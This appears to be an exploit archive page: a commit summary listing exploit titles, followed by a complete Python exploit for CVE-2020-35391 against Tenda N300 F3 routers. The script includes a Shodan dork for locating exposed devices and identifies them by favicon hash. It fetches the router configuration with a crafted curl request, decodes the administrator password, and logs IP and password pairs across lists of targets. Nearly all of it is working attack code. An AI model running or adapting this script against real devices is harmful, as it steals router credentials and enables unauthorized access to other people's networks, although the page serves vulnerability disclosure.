99cef8d064
11 changes to exploits/shellcodes/ghdb Snitz Forum v1.0 - Blind SQL Injection Franklin Fueling Systems TS-550 - Exploit and Default Password Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing MAC 1200R - Directory Traversal Docker based datastores for IBM Instana 241-2 243-0 - No Authentication IBM Aspera Faspex 4.4.1 - YAML deserialization (RCE) ChurchCRM 4.5.1 - Authenticated SQL Injection NotrinosERP 0.7 - Authenticated Blind SQL Injection Rukovoditel 3.3.1 - Remote Code Execution (RCE) Wondershare Dr Fone 12.9.6 - Privilege Escalation
108 lines
No EOL
3.5 KiB
Python
Executable file
108 lines
No EOL
3.5 KiB
Python
Executable file
#!/usr/bin/python3
|
|
|
|
# Exploit Title: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing
|
|
# Shodan Dork: http.favicon.hash:-2145085239 http.title:"Tenda | LOGIN"
|
|
# Date: 09/03/2023
|
|
# Exploit Author: @h454nsec
|
|
# Github: https://github.com/H454NSec/CVE-2020-35391
|
|
# Vendor Homepage: https://www.tendacn.com/default.html
|
|
# Product Link: https://www.tendacn.com/product/f3.html
|
|
# Version: All
|
|
# Tested on: F3v3.0 Firmware (confirmed)
|
|
# CVE : CVE-2020-35391
|
|
|
|
import re
|
|
import os
|
|
import sys
|
|
import argparse
|
|
import base64
|
|
import requests
|
|
import subprocess
|
|
try:
|
|
import mmh3
|
|
import codecs
|
|
except ImportError:
|
|
print("[!] Install mmh3: pip3 install mmh3")
|
|
sys.exit()
|
|
|
|
Color_Off="\033[0m"
|
|
Black="\033[0;30m" # Black
|
|
Red="\033[0;31m" # Red
|
|
Green="\033[0;32m" # Green
|
|
Yellow="\033[0;33m" # Yellow
|
|
Blue="\033[0;34m" # Blue
|
|
Purple="\033[0;35m" # Purple
|
|
Cyan="\033[0;36m" # Cyan
|
|
White="\033[0;37m" # White
|
|
|
|
def ip_checker(ip):
|
|
if "/" in ip:
|
|
splited = ip.split("/")
|
|
if "http://" in ip or "https://" in ip:
|
|
return f"{splited[0]}://{splited[2]}"
|
|
else:
|
|
return f"http://{splited[0]}"
|
|
else:
|
|
return f"http://{ip}"
|
|
|
|
def is_tenda(ip):
|
|
try:
|
|
response = requests.get(f'{ip}/favicon.ico')
|
|
favicon = codecs.encode(response.content, "base64")
|
|
favicon_hash = mmh3.hash(favicon)
|
|
if favicon_hash == -2145085239:
|
|
return True
|
|
return False
|
|
except Exception as error:
|
|
return False
|
|
|
|
def password_decoder(data):
|
|
try:
|
|
for nosense_data in data.split("\n"):
|
|
if ("http_passwd=" in nosense_data):
|
|
encoded_password = nosense_data.split("=")[-1]
|
|
break
|
|
password_bytes = base64.b64decode(encoded_password)
|
|
password = password_bytes.decode("utf-8")
|
|
if (len(password) != 0):
|
|
return password
|
|
return False
|
|
except Exception as error:
|
|
return False
|
|
|
|
def main(db):
|
|
for ip in db:
|
|
ip_address = ip_checker(ip)
|
|
tenda = is_tenda(ip_address)
|
|
header = print(f"{Green}[+]{Yellow} {ip_address}{Color_Off}", end="") if tenda else print(f"{Red}[-]{Yellow} {ip_address}{Color_Off}", end="")
|
|
try:
|
|
output = subprocess.check_output(f"curl {ip_address}/cgi-bin/DownloadCfg/RouterCfm.cfg -A '' -H 'Accept:' -H 'Host:' -s", shell=True)
|
|
data = output.decode('utf-8')
|
|
password = password_decoder(data)
|
|
if password:
|
|
if not os.path.isdir("config_dump"):
|
|
os.mkdir("config_dump")
|
|
with open(f"config_dump/{ip_address.split('/')[-1]}.cfg", "w") as o:
|
|
o.write(data)
|
|
with open(f"credential.txt", "a") as o:
|
|
o.write(f"{ip_address}|{password}\n")
|
|
print(f"{Purple}:{Cyan}{password}{Color_Off}")
|
|
else:
|
|
print()
|
|
except Exception as error:
|
|
print()
|
|
|
|
if __name__ == '__main__':
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-i', '--ip', default='192.168.0.1', help='IP address of the target router (Default: http://192.168.0.1)')
|
|
parser.add_argument('-l', '--list_of_ip', help='List of IP address')
|
|
args = parser.parse_args()
|
|
db = []
|
|
ip_list = args.list_of_ip
|
|
if ip_list:
|
|
with open(ip_list, "r") as fr:
|
|
for data in fr.readlines():
|
|
db.append(data.strip())
|
|
else:
|
|
db.append(args.ip)
|
|
main(db) |